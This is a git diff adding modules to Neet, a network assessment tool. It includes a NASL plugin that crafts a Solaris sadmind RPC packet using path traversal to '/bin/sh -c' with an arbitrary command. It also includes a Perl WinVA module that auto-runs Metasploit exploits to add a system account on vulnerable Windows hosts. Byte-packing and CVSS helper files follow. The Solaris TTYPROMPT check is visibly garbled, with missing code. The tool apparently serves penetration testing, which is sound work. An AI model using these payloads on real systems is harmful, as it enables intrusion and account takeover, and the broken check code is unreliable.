"\x00\x00\x00\x00\x00\x00\x00\x00" , + "\x00\x00\x00\x09" , "ADM_CLASS" , + "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x07" , + "\x00\x00\x00\x06" , "system" , + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" , + "\x00\x00\x00\x0e" , "ADM_CLASS_VERS" , + "\x00\x00\x00\x00\x00\x09\x00\x00\x00\x04" , + "\x00\x00\x00\x03" , "2.1" , + "\x00\x00\x00\x00\x00\x00\x00\x00\x00" , + "\x00\x00\x00\x0a" , "ADM_METHOD" , + "\x00\x00\x00\x00\x00\x09\x00\x00\x00\x16" , + "\x00\x00\x00\x15" , "../../../../../bin/sh" , + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" , + "\x00\x00\x00\x08" , "ADM_HOST" , + "\x00\x00\x00\x09\x00\x00\x00\x3c\x00\x00\x00\x3b" , + packed_host , + "\x00\x00\x00\x00\x00\x00\x00\x00\x00" , + "\x00\x00\x00\x0f" , "ADM_CLIENT_HOST" , + "\x00\x00\x00\x00\x09" , + rpclong(val:strlen(hostname) + 1) , + rpclong(val:strlen(hostname)) , + adm_client_host , + "\x00\x00\x00\x00" , "\x00\x00\x00\x00" , + "\x00\x00\x00\x11" , "ADM_CLIENT_DOMAIN" , + "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00" , + "\x00\x00\x00\x00\x00\x00" , + "\x00\x00\x00\x11" , "ADM_TIMEOUT_PARMS" , + "\x00\x00\x00\x00\x00" , + "\x00\x09\x00\x00\x00\x1c" , + "\x00\x00\x00\x1b" , "TTL=0 PTO=20 PCNT=2 PDLY=30" , + "\x00\x00\x00\x00\x00\x00\x00\x00\x00" , + "\x00\x00\x00\x09" , "ADM_FENCE" , + "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00\x00\x00" , + "\x00\x00\x00\x00\x00\x00\x01\x58\x00\x00\x00\x00\x00\x00\x09\x00" , + "\x00\x00\x03\x00\x00\x00\x02" , "-c" , + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x59\x00" , + "\x00\x00\x00\x00\x00\x09\x00\x00\x02\x01\x00\x00\x02\x00" , + command , command_pad , + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10" , + "netmgt_endofargs"); + + +# ############# +# # THE CHECK # +# ############# + +packet = rpc2 + header + rpclong(val:strlen(body) + strlen(header) + 4 - 330) + body; + +# send three requests for verification +for (x=0; x<3; x++) +{ + soc = open_sock_udp(port); + + if(!soc) + exit(0); + + send(socket:soc, data:packet); + r = recv(socket:soc, length:512); + + if(strlen(r) >= 22) + { + if(ord(r[22]) == 0 && ord(r[21]) == 0 && ord(r[20]) == 0 && ord(r[19]) == 0) + { + code = substr(r, strlen(r) - 12, strlen(r) - 1); + if("000000000000000000000000" >< hexstr(code)) + { + display("Success"); + exit(0); + } + } + } +} diff --git a/content/UnixVA/plugins/solaris_ttyprompt.nasl b/content/UnixVA/plugins/solaris_ttyprompt.nasl new file mode 100644 index 0000000..3d35712 --- /dev/null +++ b/content/UnixVA/plugins/solaris_ttyprompt.nasl @@ -0,0 +1,85 @@ +# DESC : Solaris TTYPROMPT login vulnerability +# AUTHOR: Fizz +# DATE : 04/03/2006 +# +# NOTES : This vulnerability check is based on the +# ttyprompt.nasl script provided from the nessus project. +# + + +# ############# +# # FUNCTIONS # +# ############# + +function init() +{ + send(socket:soc, data:raw_string( + 0xFF, 252, 0x25, + 0xFF, 254, 0x26, + 0xFF, 252, 0x26, + 0xFF, 254, 0x03, + 0xFF, 252, 0x18, + 0xFF, 252, 0x1F, + 0xFF, 252, 0x20, + 0xFF, 252, 0x21, + 0xFF, 252, 0x22, + 0xFF, 0xFB, 0x27, + 0xFF, 254, 0x05, + 0xFF, 252, 0x23)); + r = recv(socket:soc, length:30); + lim = strlen(r); + for(i=0;i< r) + { + send(socket:soc, data:string("exit\r\n")); + display("Success"); + } +} diff --git a/content/WinVA/WinVA.gsm b/content/WinVA/WinVA.gsm new file mode 100644 index 0000000..341eccd --- /dev/null +++ b/content/WinVA/WinVA.gsm @@ -0,0 +1,404 @@ +########################################################################## +# +# Neet: Network discovery, enumeration and security assessment tool +# Copyright (C) 2008-2014 Jonathan Roach +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# Contact: jonnyhightower [at] funkygeek.com +# +########################################################################## + +# This Template is provided for use as a basis for your own modules. + +# In case you haven't guessed, this is written in PERL. The code is run in a 'strict' environment, so +# make sure to use "my" to limit the scope of your variables, or the module will fail to load. + +# The only code areas you should modify are: + +# * The "Customise these parameters" area in the "new" subroutine +# * The code for the actual test in the "activate" subroutine, after "Beginning of module-specific code" +# and before "End of module-specific code". + +# The rest of the code should remain unmodified. You may wish to remove a lot of these example comments +# for the sake of readability of your code. +package WinVA; + +sub new { + my $pkg=shift(); + my %struct; + $struct{'Name'}=$pkg; + $struct{'MainScan'}=shift(); + my $self=\%struct; + bless $self, $pkg; + + # >>>>>>>>>>>>>>>>>>>>>>>>>>> + # Customise these parameters + + # If $struct{'Enabled'} is 0, the module won't be loaded, and therefore won't test anything. + # As this is a template module, we don't really want it to run. + $struct{'Enabled'}=1; + + # If your module only tests a UDP or TCP service, put a lower-case protocol name in $struct{'Protocol'}. + $struct{'Protocol'}=''; + + # @{$struct{'WatchFiles'}} is an array of files to watch in the "services" directory. + # You can specify more than one. If any of them change, your module will be activated with the new services. + @{$struct{'WatchFiles'}}=("../windows.txt"); + + # Cost is used to determine how resource-intensive your module is. As modules are started, their cost is added + # up, and once the budget is reached, no more modules will start until some finish and release more budget. + # As a rule, 10 is a lightweight test, and 100 is something intensive like nikto or an SMB brute-force. + $struct{'Cost'}=30; + + # $struct{'OnePerHost'} should be 0 if more than one instance of this service is to be tested per host. Most + # modules will be set this way. If it is set to 1, then your module will only be told about the host IP, and + # not a protocol or port. Services such as SMB are typically need a setting of 1, otherwise all the SMB tests + # will be performed on both 139 and 445. + $struct{'OnePerHost'}=1; + + # $struct{'MaxInstances'} determines the maximum number of instances of this service that are allowed to run + # simultaneously, even if there is room in the budget to run more. This is to prevent some modules hogging + # all the resources. A value of 0 means that there is no limit (apart from the budget constraints). + $struct{'MaxInstances'}=1; + + # $struct{'ConflictingModules'} is an array containing the names (without file extensions) of modules which + # should prevent this one from running. + @{$struct{'ConflictingModules'}}=(''); + + # End parameter customisation + # >>>>>>>>>>>>>>>>>>>>>>>>>>> + + return $self; +} + +sub activate { + # This is the subroutine that contains the actual code. + # First, some code which will be common to all modules - setting up the environment + my $self=shift(); + my $MainScan=$$self{'MainScan'}; + my $target=shift(); + my $file=shift(); + my $threadID=Neet::threads->tid; + my $cost=$$self{'Cost'}; + my $name=$$self{'Name'}; + my $Config=$MainScan->Config; + my $Log=$MainScan->Log; + my ($host,$protport) = split (":", $target); + my $socket=$host; + my ($protocol,$port); + my $BasePrefix=$Config->GetVal("BasePrefix"); + my $outputDir=$MainScan->ResultsDirectory . "/$host"; + my $resourceDir=$MainScan->ResourceDirectory . "/modules/$name"; + my ($targetType,$interface)=$MainScan->IsHostLocal($host); + ($protocol,$port) = split ("/", $protport) if ($protport); + $socket .= ":$port" if ($port); + return 0 if ($protocol && $$self{'Protocol'} && ("$protocol" ne "$$self{'Protocol'}")); + # Don't scan if the host is cancelled + if ($MainScan->IsHostCancelled($host)){ + $Log->Status ("$name (thread $threadID) -> scans against $target CANCELLED\n","LOGONLY"); + return 0; + } + $0 = "Neet - GSM: $name thread $threadID testing $target"; + + # Get architecture and OS + my ($Architecture,$OS); + my @hostinfo=$MainScan->ReadFile("${outputDir}/hostInfo.txt"); + for my $line (@hostinfo){ + chomp $line; + my $junk; + if ($line =~ /^Architecture /){ + ($junk,$Architecture)=split (" ", $line, 2); + } + if ($line =~ /^OS /){ + ($junk,$OS)=split (" ", $line, 2); + } + } + + # Where's metasploit? + my $msf2dir="${BasePrefix}/pkg/framework2"; + my $msf2cli="${msf2dir}/msfcli"; + my $msfdir="/opt/metasploit/app"; + my $msfcli="${msfdir}/msfcli"; + + + if (!$self->IsScanComplete("$name","$target")){ + # Tell the user what we're doing + $Log->Status ("GSM $name (thread $threadID) -> Scanning $socket ($targetType $interface [$OS])\n"); + + #>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> + #>>>>>>>>>>>>> Beginning of module-specific code >>>>>>>>>>>>>> + #>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> + + # These are the variables you can use in your code: + # $target - the raw target specification as it is supplied to this subroutine by the scheduler. + # Unless you want to process this for any particular reason, you're better off using the + # $host, $protocol, $port or $socket variables below. + # $host - the IP address of the target + # $port - the port on which the service is listening (not set for "OnePerHost" modules) + # $protocol - the protocol on which the service is listening (not set for "OnePerHost" modules) + # $socket - same as $host, unless $port is set, in which case it is set to "$host:$port". + # $name - the name of this module + # $cost - the cost of this module + # $threadID - the Perl ithread ID for this thread + # $outputDir - the full absolute path to the directory of results for this $host + # $resourceDir - the full absolute path to the directory of resources for this module. + # This is normally /usr/local/share/neet/resources/modules/$name, so for this + # module, $resourceDir would be /usr/local/share/neet/resources/modules/Example + # $BasePrefix - the full absolute path to the neet installation - usuall /usr/local/share/neet + + # These are the objects you can access + # $self - This module + # $MainScan - MainScan object, which provides most of neet's method calls. + # $Config - The interface to the configuration file + # $Log - The interface to the logging and screen printing mechanism + + # The API for recording issues is as follows: + # RecordIssue(target, label, text) + # RecordVulnerability(target, label, text) + # RecordCompromise(target, label, text) + # StoreGuessedPassword(target, level, service, username, password, label, text) + # MissingPatch(target, level, service, patch, label, text) + # ConfigError(target, level, label, text) + + # Include any Perl modules you may require + use Neet::VceConfig; + + # Set up the signal handler for exiting cleanly + $SIG{'USR1'}=sub{ + $self->SetScanInComplete("$name","$target"); + Neet::threads->exit(); + }; + + # And now the code for the actual test: + + my $pluginDir="${resourceDir}/plugins"; + my $Vce=Neet::VceConfig->new ("/opt/neet/etc/vce.conf"); + my $vulns=0; + my $bindir="${BasePrefix}/pkg/bin"; + + #if ($MainScan->PreviousScan){ + # # Check if we had any vuln data from a previous run + # for my $scan ($MainScan->ReadFile("${outputDir}/missingPatches.txt")){ + # next if (!$scan || $scan !~ /\S/); + # $vulns++; + # } + #} + + my $Timeout=$Config->GetVal("Speeds.$targetType.WinVA." . $MainScan->Speed); + my $autoExploited=0; + + for my $check ($Vce->Checks){ + if (!$self->IsScanComplete("check$check",$target)){ + + my ($ctype,$cname,$desc,$msref,$cve,$bid,$testcmd,$testvulnout,$noTest)=("","","","","","","","",""); + my $enabled=0; + + $ctype=$Vce->Type("$check"); + next if ("$ctype" ne "Windows"); + + $cname=$Vce->Name("$check"); + $enabled=$Vce->Enabled("$check"); + if (!$enabled){ + $Log->Info ("GSM thread $threadID ($name -> $target): not running disabled check $cname on $host\n",'LOGONLY'); + next; + } + + $noTest=$Vce->NoTest("$check"); + if ($noTest && $OS && ($OS =~ /$noTest/)){ + $Log->Info ("GSM thread $threadID ($name -> $target): NOT running check $cname on $OS $host\n"); + next; + } + + $desc=$Vce->Desc("$check"); + $msref=$Vce->Msref("$check"); + $bid=$Vce->Bid("$check"); + $cve=$Vce->Cve("$check"); + $testcmd=$Vce->Check("$check"); + $testcmd =~ s/HOST/$host/g; $testcmd =~ s/PLUGINDIR/$pluginDir/g; $testcmd =~ s/\[BIN\]/$bindir/g; + $testvulnout=$Vce->Vuln("$check"); + my ($cmd,$args)=split (" ", $testcmd, 2); + + if (index($cmd,"/") ne 0){ + my $pathToCmd = $MainScan->getPath("$cmd"); + if ($pathToCmd){ + $testcmd = "$pathToCmd $args"; + } + } + + my $scandata = "$check $cname\t($desc)"; + $scandata .= " "; + $scandata .= $msref if ($msref); + $scandata .= " "; + $scandata .= $cve if ($cve); + + $Log->Info ("GSM thread $threadID ($name -> $target): running check $cname on $host\n",'LOGONLY'); + my $_vuln=0; + my ($rc,$testout)=$MainScan->TimedBackticks($Timeout,$testcmd); + if ($testout && $testout =~ /$testvulnout/){ + $_vuln=1; + } + + if ($rc == 99){ + $Log->Warn("GSM thread $threadID ($name -> $target): $cname timed out","LOGONLY"); + } else { + if ($_vuln){ + $vulns++; + $MainScan->MissingPatch($target, "vuln", "WinVA", "$msref", "GSM-WinVA-$msref", "$msref $desc"); + + if (!$MainScan->GetStatKey("${outputDir}/hostInfo.txt","AddedAccount") && $MainScan->AutoExploit && $Vce->Exautosafe("$check")){ + my $exType=$Vce->Extype("$check"); + my $exArch=$Vce->Exarch("$check"); + + # Don't run 32-bit exploits on 64-bit architecture + if ($Architecture && ($Architecture =~ /$exArch/)){ + my $exploitcmd=$Vce->Exautocmd("$check"); + $Log->Warn("GSM thread $threadID ($name -> $target): AutoExploiting $desc\n"); + my $target=0; + + if ($exploitcmd =~ /\[AUTOTARGET\]/){ + $target=autoTarget ($check,$OS); + } + + sub autoTarget { + no warnings; + my $check=shift(); + my $OS=shift(); $OS=~s/\s//g; + my $t=$Vce->GetVal($check,"extarget.$OS"); + $Log->Info ("GSM thread $threadID ($name -> $target): Check $cname auto-selected target $t ($OS)",'LOGONLY'); + return $t; + } + + if (defined($target)){ + $exploitcmd =~ s/\[AUTOTARGET\]/$target/g; + + my $newuser=$Config->GetVal("NewUser"); + my $newpassword=$Config->GetVal("NewPassword"); + + $exploitcmd =~ s/=HOST/=$host/g; $exploitcmd =~ s/\[USERNAME\]/$newuser/g; $exploitcmd =~ s/\[PASSWORD\]/\"$newpassword\"/g; $exploitcmd =~ s/\[BIN\]/$bindir/g; $exploitcmd =~ s/PORT/$port/g; $exploitcmd =~ s/MSFCLI/$msfcli/g; $exploitcmd =~ s/MSF2CLI/cd ${msf2dir} && .\/msfcli/g; + if ($exType =~ /2/){ + $cmd="cd ${msf2dir} && ./msfcli $exploitcmd"; + } else { + $cmd="$msfcli $exploitcmd"; + } + + my $rc=$MainScan->System("$cmd >/dev/null 2>&1"); + if (!$rc){ + my $message="Autoexploit added system account: \"$newuser\" \"$newpassword\""; + $MainScan->RecordCompromise($target,"GSM-WinVA-AE-$msref",$message); + $MainScan->SetStatValue("${outputDir}/hostInfo.txt","AddedAccount","$newuser"); + } else { + $Log->Info("GSM thread $threadID ($name -> $target): Exploit for $msref FAILED to add system account: \"$newuser\"",'LOGONLY'); + } + } + } + } + } + } + last if ($MainScan->WasPaused); + $self->SetScanComplete("check$check",$target); + } else { + $Log->OK("GSM thread $threadID ($name -> $target): $plugin previously completed - skipping",'LOGONLY'); + } + } + + #>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> + #>>>>>>>>>>>>> End of module-specific code >>>>>>>>>>>>>> + #>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> + + # Don't modify anything below this line. + $self->SetScanComplete("$name","$target"); + } else { + $Log->Status ("GSM $name (thread $threadID) -> $socket already scanned - skipping\n","LOGONLY"); + } + $Log->Status ("GSM $name (thread $threadID) -> $socket FINISHED scanning\n"); + return 0; +} + +sub SingleScan { + my $self=shift; + return $$self{'OnePerHost'}; +} + +sub Name { + my $self=shift(); + return $$self{'Name'}; +} +sub Cost { + my $self=shift(); + return $$self{'Cost'}; +} +sub Enabled { + my $self=shift(); + return $$self{'Enabled'}; +} +sub Watching { + my $self=shift(); + return @{$$self{'WatchFiles'}}; +} + +sub TargetSpec { + my $self=shift(); + my $targetSpec=shift(); + if (!defined($targetSpec)){ + return $$self{'TargetSpec'}; + } else { + $$self{'TargetSpec'}=$targetSpec; + } +} + +sub IsScanComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + return $MainScan->GetStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName); +} + +sub SetScanComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + $MainScan->SetStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName); + return 1; +} + +sub SetScanInComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + if ($MainScan->DelStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName)){ + return 1; + } else { + return 0; + } +} +sub MaxInstances { + my $self=shift(); + return $$self{'MaxInstances'}; +} +sub ConflictsWith { + my $self=shift(); + return @{$$self{'ConflictingModules'}}; +} + +1; diff --git a/content/WinVA/plugins/byte_func.inc b/content/WinVA/plugins/byte_func.inc new file mode 100644 index 0000000..d0c5713 --- /dev/null +++ b/content/WinVA/plugins/byte_func.inc @@ -0,0 +1,109 @@ +# -*- Fundamental -*- +# +# +# (C) 2005 Tenable Network Security +# +# This script is released under one of the Tenable Script Licenses and may not +# be used from within scripts released under another license without the +# authorization from Tenable Network Security Inc. +# +# See the following licenses for details : +# http://www.nessus.org/plugins/RegisteredFeed.pdf +# http://www.nessus.org/plugins/TenableCommercial.pdf +# http://www.nessus.org/plugins/DirectFeed.pdf +# http://www.nessus.org/plugins/DirectFeedCommercial.pdf +# +# +# @NOGPL@ +# +# byte_func.inc +# $Revision: 1.1 $ +# + + +BYTE_ORDER_BIG_ENDIAN = 1; +BYTE_ORDER_LITTLE_ENDIAN = 2; + +ByteOrder = BYTE_ORDER_BIG_ENDIAN; + +function set_byte_order() +{ + ByteOrder = _FCT_ANON_ARGS[0]; +} + +function mkbyte() +{ + local_var l; + l = _FCT_ANON_ARGS[0]; + return raw_string(l & 0xff); +} + +function mkword() +{ + local_var l; + l = _FCT_ANON_ARGS[0]; + + if ( ByteOrder == BYTE_ORDER_BIG_ENDIAN ) + return raw_string((l >> 8) & 0xFF, l & 0xFF); + else + return raw_string(l & 0xff, (l >> 8) & 0xff); +} + + +function mkdword() +{ + local_var l; + l = _FCT_ANON_ARGS[0]; + + if ( ByteOrder == BYTE_ORDER_BIG_ENDIAN ) + return raw_string( (l >> 24 ) & 0xff, + (l >> 16 ) & 0xff, + (l >> 8 ) & 0xff, + (l) & 0xff); + else + return raw_string( l & 0xff, + (l >> 8) & 0xff, + (l >> 16) & 0xff, + (l >> 24) & 0xff); +} + + +function getdword(blob, pos) +{ + local_var l, s; + s = substr(blob, pos, pos + 3); + if ( ByteOrder == BYTE_ORDER_BIG_ENDIAN ) + return ord(s[0]) << 24 | ord(s[1]) << 16 | ord(s[2]) << 8 | ord(s[3]); + else + return ord(s[0]) | ord(s[1]) << 8 | ord(s[2]) << 16 | ord(s[3]) << 24; +} + +function getword(blob, pos) +{ + local_var l, s; + s = substr(blob, pos, pos + 1); + if ( ByteOrder == BYTE_ORDER_BIG_ENDIAN ) + return ord(s[0]) << 8 | ord(s[1]); + else + return ord(s[0]) | ord(s[1]) << 8; +} + +function getbyte(blob, pos) +{ + local_var l, s; + s = substr(blob, pos, pos); + return ord(s[0]); +} + + + + +function mkpad() +{ + local_var l; + l = _FCT_ANON_ARGS[0]; + return crap(data:raw_string(0), length:l); +} + + + diff --git a/content/WinVA/plugins/compat.inc b/content/WinVA/plugins/compat.inc new file mode 100644 index 0000000..9b775f2 --- /dev/null +++ b/content/WinVA/plugins/compat.inc @@ -0,0 +1,339 @@ +#TRUSTED 83f59e14f1a347247ca0d894301af800ca467a7b413417d29876ce2aa15c08f78dacd721f4785fd99f01bd134023cb3aefa31c79d8db7a76d1f32c0b27797fce31ef2165e323d8d5203f94572fac5e2c9e53a606e38f536307ae606cfb6e487bae4c3c8ec8abd66c06cadedd82ccc41905010aba8bb050d8e9c1e35f7eee1bccc0d06317c6ef46ca13788de0dbc36e21e06bdcbbe95e55167662f0365e05366e3deb727085cb43feb288b2e3f071b9caba9a603274d183f24ff9749b39e4fb3ded7d1010be4a805e550d2f2b59a16c87f77e09f1699e34760ff7a83957dfcabc2505e3db9a01634d972a5394b09442218cf4788d7bd687ecdf56d183f597332bb23f5f676b43e4dc2610d88ca3668e1066cc657009e8404f3efbf09b7ee2bce28a7584bf1c35b6bbaa15801dee6bb261a6f7f35441b0134f4580ab50d345f5205e7a34ec62a21e1b57405e8f3e53ed54c9c76d9024bd6ad9dcbfb9e2b167c9485a560c206303f9c3bbd6037b6b0244c3beae0be22049a36b6eed26d694f454d85b90a3957a76b65735f75ecc273e15ba386300ca27831cf1e0fa364042e96947e7dc3631b54280c0ba41ca0748f04da0026bd26f7de0feeb165166c197ca93d43db4c8cf974b9ebb80703f6c4e4c71581c4ce686dad4dd85bb10a8471c58f02f2a8e39b8a7cb35bd7b09a9bd5d86a42b2469e6fb1878d4ec81eb70252cf43009 +# +# (C) Tenable Network Security, Inc. +# +# Redistribution and use in source, with or without modification, are +# permitted provided that the following conditions are met: +# +# 1. Redistributions of source code must retain the above copyright +# notice, this list of conditions and the following disclaimer. +# 2. All advertising materials mentioning features or use of this software +# must display the following acknowledgement: +# This product includes software developed by Tenable Network Security +# +# Revision 1.12 + +# +# Backward compatibility functions +# +__desc_buf = NULL; + + + +function cvss_vector_to_temporal_score(vector, base_score) +{ + local_var str; + local_var Exploitability, RemediationLevel, ReportConfidence; + local_var base; + local_var score; + + str = vector; + base_score = split(base_score, sep:'.'); + base = int(base_score[0]) * 1000 + int(base_score[1]) * 100; + + if ( "E:U/" >< str ) + Exploitability = 1176; # 0.85 + else if ( "E:POC/" >< str ) + Exploitability = 1111; # 0.9 + else if ( "E:F/" >< str ) + Exploitability = 1052; # 0.95 + else if ( "E:H/" >< str ) + Exploitability = 1000; # 1.00 + else #if ( "E:/" >< str || "E:ND/" >< str ) + Exploitability = 1000; # 1.00 + + if ( "/RL:OF/" >< str ) + RemediationLevel = 1149; # 0.87 + else if ( "/RL:TF/" >< str ) + RemediationLevel = 1111; # 0.90 + else if ( "/RL:W/" >< str ) + RemediationLevel = 1052; # 0.95 + else if ( "/RL:U/" >< str ) + RemediationLevel = 1000; # 1.00 + else #if ( "/RL:/" >< str || "/RL:ND/" >< str ) + RemediationLevel = 1000; # 1.00 + + if ( "/RC:UC" >< str ) + ReportConfidence = 1111; # 0.90 + else if ( "/RC:UR" >< str ) + ReportConfidence = 1052; # 0.95 + else if ( "/RC:C" >< str ) + ReportConfidence = 1000; # 1.00 + else #if ( "/RC:" >< str || "/RC:ND" >< str ) + ReportConfidence = 1000; # 1.00 + + + score = (base * 1000)/Exploitability; + score = (score * 1000)/RemediationLevel; + score = (score * 1000)/ReportConfidence; + if ( score % 100 >= 50) score += ( 100 - (score % 100) ); # Rounding + if ( score / 1000 < 2 ) # If the value is small, more generous rounding + { + if ( score % 100 >= 40) score += ( 100 - (score % 100) ); + } + + score = (score/10)*10; + return strcat(score / 1000, ".", (score % 1000)/100); +} + +function cvss_vector_to_base_score() +{ + local_var str; + local_var c,i,a; + local_var AccessVector, AccessComplexity, Authentication; + local_var q,z; + local_var cvss_score; + + str = _FCT_ANON_ARGS[0]; + if ( "AV:L/" >< str ) + AccessVector = 2532; + else if ( "AV:A/" >< str ) + AccessVector = 1548; + else if ( "AV:N/" >< str) + AccessVector = 1000; + else + { + #display("Unknown CVSS access subvector (", str, ")!\n"); + return NULL; + } + + if ( "AC:L/" >< str ) + AccessComplexity = 1408; + else if ( "AC:M/" >< str ) + AccessComplexity = 1639; + else if ( "AC:H/" >< str ) + AccessComplexity = 2857; + else + { + #display("Unknown CVSS access complexity subvector (", str, ")!\n"); + return NULL; + } + + if ( "Au:N/" >< str ) + Authentication = 1420; + else if ( "Au:S/" >< str ) + Authentication = 1786; + else if ( "Au:M/" >< str ) + Authentication = 2222; + else + { + #display("Unknown CVSS authentication subvector (", str, ")!\n"); + return NULL; + } + + if ( "C:N/" >< str ) + c = 1000; + else if ( "C:P/" >< str ) + c = 725; + else if ( "C:C/" >< str ) + c = 340; + else + { + #display("Unknown CVSS confidentiality subvector (", str, ")!\n"); + return NULL; + } + + if ( "I:N/" >< str ) + i = 1000; + else if ( "I:P/" >< str ) + i = 725; + else if ( "I:C/" >< str ) + i = 340; + else + { + #display("Unknown CVSS integrity subvector (", str, ")!\n"); + return NULL; + } + + if ( "/A:N" >< str ) + a = 1000; + else if ( "/A:P" >< str ) + a = 725; + else if ( "/A:C" >< str ) + a = 340; + else + { + #display("Unknown CVSS availability subvector (", str, ")!\n"); + return NULL; + } + + if ( c + i + a == 3000 ) + return "0.0"; + + z = (c*1000)/( (1000*1000)/i); + z = (z*1000)/( (1000*1000)/a); + z = 1000 - z; + z = (1000*1000)/z; + z = (10410*1000)/z; + z = (z*1000)/1666; + + q = ( AccessComplexity * 1000 ) / (( 1000 * 1000 )/Authentication ); + q = ( q * 1000 ) / ( ( 1000 * 1000 ) / AccessVector ); + q = ( 1000 * 1000 ) / q; + q = q * 20000; + q = q / 2500; + + z = ( z + q ) - 1500; + z = (z * 11760)/10000; + if ( z % 100 >= 50) z += ( 100 - (z % 100) ); # Rounding + if ( z / 1000 < 2 ) # If the value is small, more generous rounding + { + if ( z % 100 >= 40) z += ( 100 - (z % 100) ); + } + + z = (z/10)*10; + cvss_score = strcat(z / 1000, ".", (z % 1000)/100); + return cvss_score; +} + + + +function script_set_attribute(attribute, value) +{ + local_var s, e; + local_var i; + + if ( isnull(attribute) || isnull(value) ) return; + value = '' + value; + e = strlen(value); + for ( i = 0 ; value[i] >< ' \t\n\r' && i < e ; i ++ ) { }; + for ( e = strlen(value) - 1; value[e] >< ' \t\n\r' && e > 0 ; e -- ) { }; + value = substr(value, i, e); + if ( strlen(__desc_buf[attribute]) ) __desc_buf[attribute] += '\n'; + __desc_buf[attribute] += value; +} + +function script_set_cvss_base_vector() +{ + local_var vec; + vec = _FCT_ANON_ARGS[0]; + script_set_attribute(attribute:"cvss_vector", value:vec); + if ( NASL_LEVEL < 4300 ) + __desc_buf["cvss_base_score"] = cvss_vector_to_base_score(vec); +} + +function script_set_cvss_temporal_vector() +{ + local_var base_score; + local_var vec; + vec = _FCT_ANON_ARGS[0]; + script_set_attribute(attribute:"cvss_temporal_vector", value:vec); + + if ( NASL_LEVEL < 4300 ) + { + base_score = __desc_buf["cvss_base_score"]; + if ( ! isnull(base_score) ) + script_set_attribute(attribute:"cvss_temporal_score", value:cvss_vector_to_temporal_score(vector:vec, base_score:base_score)); + } +} + +function script_end_attributes() +{ + local_var r; + local_var buf; + + + if ( isnull(__desc_buf["cvss_base_score"]) && !isnull(__desc_buf["cvss_vector"]) ) + __desc_buf["cvss_base_score"] = cvss_vector_to_base_score(__desc_buf["cvss_vector"]); + + if ( !isnull(__desc_buf["cvss_base_score"]) && !isnull(__desc_buf["cvss_temporal_vector"] ) ) + { + __desc_buf["cvss_temporal_score"] = cvss_vector_to_temporal_score(vector:__desc_buf["cvss_temporal_vector"], base_score:__desc_buf["cvss_base_score"]); + } + + + if ( isnull(__desc_buf["risk_factor"]) ) + { + if ( isnull(__desc_buf["cvss_base_score"]) ) + __desc_buf["risk_factor"] = "None"; + else { + if ( int(__desc_buf["cvss_base_score"]) == 10 ) __desc_buf["risk_factor"] = "Critical"; + else if ( int(__desc_buf["cvss_base_score"]) >= 7 ) __desc_buf["risk_factor"] = "High"; + else if ( int(__desc_buf["cvss_base_score"]) >= 4 ) __desc_buf["risk_factor"] = "Medium"; + else if ( int(__desc_buf["cvss_base_score"]) > 0 ) __desc_buf["risk_factor"] = "Low"; + else __desc_buf["risk_factor"] = "None"; + } + } + + + + buf = ""; + r = __desc_buf["synopsis"]; + if ( strlen(r) ) + { + buf += 'Synopsis :\n\n'; + buf += r; + buf += '\n\n'; + } + r = __desc_buf["description"]; + if ( strlen(r) ) + { + buf += 'Description :\n\n'; + buf += r; + buf += '\n\n'; + } + r = __desc_buf["see_also"]; + if ( strlen(r) ) + { + buf += 'See also :\n\n'; + buf += r; + buf += '\n\n'; + } + r = __desc_buf["solution"]; + if ( strlen(r) ) + { + buf += 'Solution :\n\n'; + buf += r; + buf += '\n\n'; + } + r = __desc_buf["risk_factor"]; + if ( strlen(r) ) + { + buf += 'Risk factor :\n\n'; + buf += r; + r = __desc_buf["cvss_base_score"]; + if ( r ) { + buf += " / CVSS Base Score : " + r; + r = __desc_buf["cvss_vector"]; + if ( r ) buf += '\n(' + r + ')\n'; + else buf += '\n'; + if ( __desc_buf["cvss_temporal_score"] ) + { + buf += 'CVSS Temporal Score : ' + __desc_buf["cvss_temporal_score"] + '\n' + '(' + __desc_buf["cvss_temporal_vector"] + ')\n'; + } + } + else buf += '\n'; + + r = __desc_buf["exploit_available"]; + if ( strlen(r) ) buf += 'Public Exploit Available : ' + __desc_buf["exploit_available"] + '\n'; + } + + if ( NASL_LEVEL < 3000 && strlen(buf) >= 3000 ) + buf = strcat(substr(buf, 0, 3000), "..."); + + script_description(buf); +} + + +function script_osvdb_id() +{ + local_var i; + foreach i (_FCT_ANON_ARGS) + script_xref(name:"OSVDB", value: i); +} + +function script_cwe_id() +{ + local_var i; + foreach i (_FCT_ANON_ARGS) + script_xref(name:"CWE", value: i); +} + +function script_cvs_date() +{ + local_var v; + v = split(_FCT_ANON_ARGS[0], sep: ' ', keep: 0); + if ( isnull(v) || isnull(v[1]) || v[1] !~ 